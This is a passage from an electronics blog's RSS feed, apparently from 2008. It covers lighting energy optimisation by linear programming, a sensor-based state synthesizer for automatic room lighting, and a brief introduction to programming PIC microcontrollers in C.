occupants of the room.&lt;br /&gt;&lt;br /&gt;A major shortcoming of all presently known automatic lighting control systems is that none of them are designed to optimize the energy efficiency of a room lighting system for a target energy consumption level and a prescribed set of lighting system usage parameters and constraints. Thus, there&lt;span style=""&gt;  &lt;/span&gt;exists a need in the art for an automatic lighting control system which overcomes this and other limitations, disadvantages, and shortcomings of the presently known automatic lighting control systems.&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="line-height: 150%; font-family: times new roman; text-align: justify;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;span style="line-height: 150%;"&gt;PRESENT SITUATION&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="font-family: times new roman; text-align: justify;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 150%; font-family: times new roman; text-align: justify;"&gt;Presently methods for optimizing the energy efficiency of a lighting system which includes a plurality of light sources, which includes the steps of defining a set of parameters for the lighting system, and using a linear programming technique, taking into account the set of parameters, to produce energy allocation output data which satisfies a total energy consumption constraint that the total energy allocated to the lighting system not exceed a target energy consumption level, and which is representative of an optimal allocation of &lt;a href="http://www.patentstorm.us/patents/5812422-description.html" target="_top"&gt;&lt;span class="klink"&gt;&lt;span style="line-height: 150%;"&gt;energy&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; to each of the light sources. The lighting system is installed in a room which includes a plurality of sections each of which is equipped with light sources. &lt;/p&gt;&lt;div style="font-family: times new roman; text-align: justify;"&gt;  &lt;/div&gt;&lt;div style="text-align: justify; font-family: times new roman;"&gt;In general, the lighting optimization problem is translated into a linear programming problem by formulating a set of lighting system energy allocation constraints, converting these constraints into a set of constraint equations and a cost function, converting the constraint equations into a set of simultaneous linear equations, and then solving the set of simultaneous linear equations in such a manner as to minimize the cost function, to thereby produce the energy allocation output data, which is preferably in the form of an optimal brightness level for each light source. These steps are preferably implemented in computer software, which is preferably loaded in a programmable central controller of an intelligent lighting control system which is responsive to the energy allocation output data for automatically adjusting the brightness level of each of the light sources to the optimal brightness level.&lt;span style="color:white;"&gt;………………………………………………………………….&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Preferably, available energy remaining after satisfying minimum brightness levels for each zone in the room is allocated at least partially on the basis of the designated priority level of each room, and/or the energy efficiency of the light sources. Further, zones of equal priority are preferably allocated an equal amount of available energy. Also, the method preferably includes a post-processing filtering step for determining whether the optimal brightness level for each zone is equal to a minimum brightness level, and, if not, adjusting the optimal brightness level for the zone to the minimum brightness level.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;p class="MsoNormal" style="line-height: 150%; text-align: justify; font-family: times new roman;"&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=""&gt; &lt;/span&gt;The terms &lt;span style=""&gt; &lt;/span&gt;"room", and "light source" can be used in their broadest possible sense. For example, the term "room" can be intended to encompass any structure which has a lighting system, including, but not limited to, single-family homes, multi-family dwellings, apartment buildings, office buildings, warehouses, factories, gymnasiums, auditoriums, theaters, museums, shops, restaurants, hotels, shopping malls, and indoor stadiums. The term "room" is intended to encompass any identifiable, separately lighted portion, zone, sector, or localized area of a building, including, but not limited to, conventional rooms such as offices, bathrooms, closets, storage areas, factory floors, basements, conference rooms, foyers, common areas, utility rooms, or any associated set of such separately lighted portions or zones, sectors, or localized areas of the building whose lighting is intended to be commonly controlled. The term "light source" is intended to encompass not only individual lamps, but also any associated set or group of lamps which are intended to be commonly controlled, e.g., all of the lamps associated with a given room in the building.&lt;/p&gt;&lt;div style="text-align: justify; font-family: times new roman;"&gt;  &lt;/div&gt;&lt;p class="MsoNormal" style="margin-left: 0.5in; text-align: justify; font-family: times new roman;"&gt;&lt;br /&gt;&lt;span style="line-height: 110%;font-size:12;" &gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-7366591613585392923?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/P2iMW1TOjPB5Jh3Sh4nPEvwLNW4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/P2iMW1TOjPB5Jh3Sh4nPEvwLNW4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/P2iMW1TOjPB5Jh3Sh4nPEvwLNW4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/P2iMW1TOjPB5Jh3Sh4nPEvwLNW4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/-s4t8ViEkk4" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/-s4t8ViEkk4/max-7219-lighting-driver-and-automatic.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://bp3.blogger.com/_XTElFWnvKxw/SCsK8EpqAvI/AAAAAAAAAMU/RKKXCJC0Nms/s72-c/system.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2008/04/max-7219-lighting-driver-and-automatic.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-6029848630268599941</guid><pubDate>Tue, 05 Feb 2008 14:08:00 +0000</pubDate><atom:updated>2009-05-08T00:20:36.022-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">State identification</category><title>State identification program for the iRooM project</title><description>&lt;div style="font-family: times new roman; text-align: justify;"&gt;&lt;b style=""&gt;&lt;span style=""&gt;ROOM SETUP&lt;span style=""&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_XTElFWnvKxw/R_Z5PIzFtEI/AAAAAAAAALk/NH-_pKb3i1Y/s1600-h/cell.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_XTElFWnvKxw/R_Z5PIzFtEI/AAAAAAAAALk/NH-_pKb3i1Y/s320/cell.JPG" alt="" id="BLOGGER_PHOTO_ID_5185465321930470466" border="0" /&gt;&lt;/a&gt;The room setup required for the implementation of the state identification is as shown above. The partitions can be done logically using the LASER -LDR,LASER-Phototransistor,or IR -sensor pairs .&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_XTElFWnvKxw/SAGB2E2tnhI/AAAAAAAAAL0/IAGBSnjZ7yY/s1600-h/h.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_XTElFWnvKxw/SAGB2E2tnhI/AAAAAAAAAL0/IAGBSnjZ7yY/s320/h.jpg" alt="" id="BLOGGER_PHOTO_ID_5188571011723664914" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p style="font-family: times new roman; text-align: justify;" class="MsoNormal"&gt;The room is divided into three cells named C0 C1 and C2. S0, S1 and S2 are state variables that store the present state of the cell (i.e. state is 1 if people are present in the cell and 0 if cell is vacant). A small region near the door is assigned a state variable S3.&lt;/p&gt;&lt;div style="font-family: times new roman; text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="font-family: times new roman; text-align: justify;" class="MsoNormal"&gt;It is an intermediate state that is used to determine entry into and exit from the room. &lt;span style="" lang="X-NONE"&gt;L0, L1, L2, L3, L4, L5 are the sensors placed in the room to determine the transition of people across the room through various cells. This is necessary to determine the present state of each cell so as to do automatic lighting up of an LED array provided in each cell if count of people is the cell is greater than zero. The LED array in each cell is OFF if the cell is empty.&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: times new roman; text-align: justify;" class="MsoNormal"&gt;  &lt;/p&gt;&lt;p style="font-family: times new roman; text-align: justify;" class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span style="" lang="X-NONE"&gt;STATE SYNTHESIZER&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;div style="font-family: times new roman; text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="font-family: times new roman; text-align: justify;" class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;&lt;div style="font-family: times new roman; text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="font-family: times new roman; text-align: justify;" class="MsoNormal"&gt;The automatic lighting system control is implemented with the help of a &lt;b style=""&gt;&lt;i style=""&gt;state&lt;/i&gt; &lt;i style=""&gt;synthesizer&lt;/i&gt;&lt;/b&gt;, which generates the next state with the help of present state and sensor inputs. A program is written and the artificial intelligence is created by burning that program into the microcontroller that emulates the function of a state synthesizer.The state transitions are detected by the sensor inputs and past states. The output of the state synth is the state itself hence its a moore one.&lt;br /&gt;&lt;/p&gt;&lt;div style="font-family: times new roman; text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="font-family: times new roman; text-align: justify;" class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-6029848630268599941?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/cvsrcVIn1cLwm6Os4chiS0q7M4I/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/cvsrcVIn1cLwm6Os4chiS0q7M4I/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/cvsrcVIn1cLwm6Os4chiS0q7M4I/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/cvsrcVIn1cLwm6Os4chiS0q7M4I/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/nhN4lAbAucU" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/nhN4lAbAucU/state-identification-program-for-iroom_05.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://bp1.blogger.com/_XTElFWnvKxw/R_Z5PIzFtEI/AAAAAAAAALk/NH-_pKb3i1Y/s72-c/cell.JPG" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2008/02/state-identification-program-for-iroom_05.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-2331097583411922577</guid><pubDate>Sun, 27 Jan 2008 12:33:00 +0000</pubDate><atom:updated>2008-01-27T04:55:59.151-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">PICC</category><title>Programming the PIC in C/PIC C</title><description>First thing is to find a help file located anywhere in the compiler development environment .&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_XTElFWnvKxw/R5x-3iHDqeI/AAAAAAAAAKE/ePA5_gQP7u4/s1600-h/help.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_XTElFWnvKxw/R5x-3iHDqeI/AAAAAAAAAKE/ePA5_gQP7u4/s400/help.jpg" alt="" id="BLOGGER_PHOTO_ID_5160138765574056418" border="0" /&gt;&lt;/a&gt;Then we have to understand the basic data types .Then the most important part in pic C programming is to understand the built-in functions and the port directives like" poke "in PICbasic .Then we have to write the code in the development environment,including the basic header files .For example in case of the picc compiler we may be including the "16f877.h",if we are using the 877 pic of the 16f series.but there is no such option in micro c as well,instead it requires some project file initialization i think!!&lt;br /&gt;For the demonstration purpose i have written a code to make  pinA0 high if pinB0 is high and then push pinA1 low.Else if the pinB0is low the pinA0must be 0 and pinA1must be 1. During this time the pinC0 will blink with a delay of 500ms&lt;br /&gt;the code is given below&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_XTElFWnvKxw/R5x_IyHDqfI/AAAAAAAAAKM/W2R8zJ0LOX4/s1600-h/piccled+prog.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_XTElFWnvKxw/R5x_IyHDqfI/AAAAAAAAAKM/W2R8zJ0LOX4/s400/piccled+prog.jpg" alt="" id="BLOGGER_PHOTO_ID_5160139061926799858" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-2331097583411922577?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/N5iiwylnuiRZDjtZ9hzzCNw0DKU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/N5iiwylnuiRZDjtZ9hzzCNw0DKU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/N5iiwylnuiRZDjtZ9hzzCNw0DKU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/N5iiwylnuiRZDjtZ9hzzCNw0DKU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/A71RxPLwWoA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/A71RxPLwWoA/programming-pic-in-cpic-c.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://bp3.blogger.com/_XTElFWnvKxw/R5x-3iHDqeI/AAAAAAAAAKE/ePA5_gQP7u4/s72-c/help.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2008/01/programming-pic-in-cpic-c.html</feedburner:origLink></item></channel></rss>
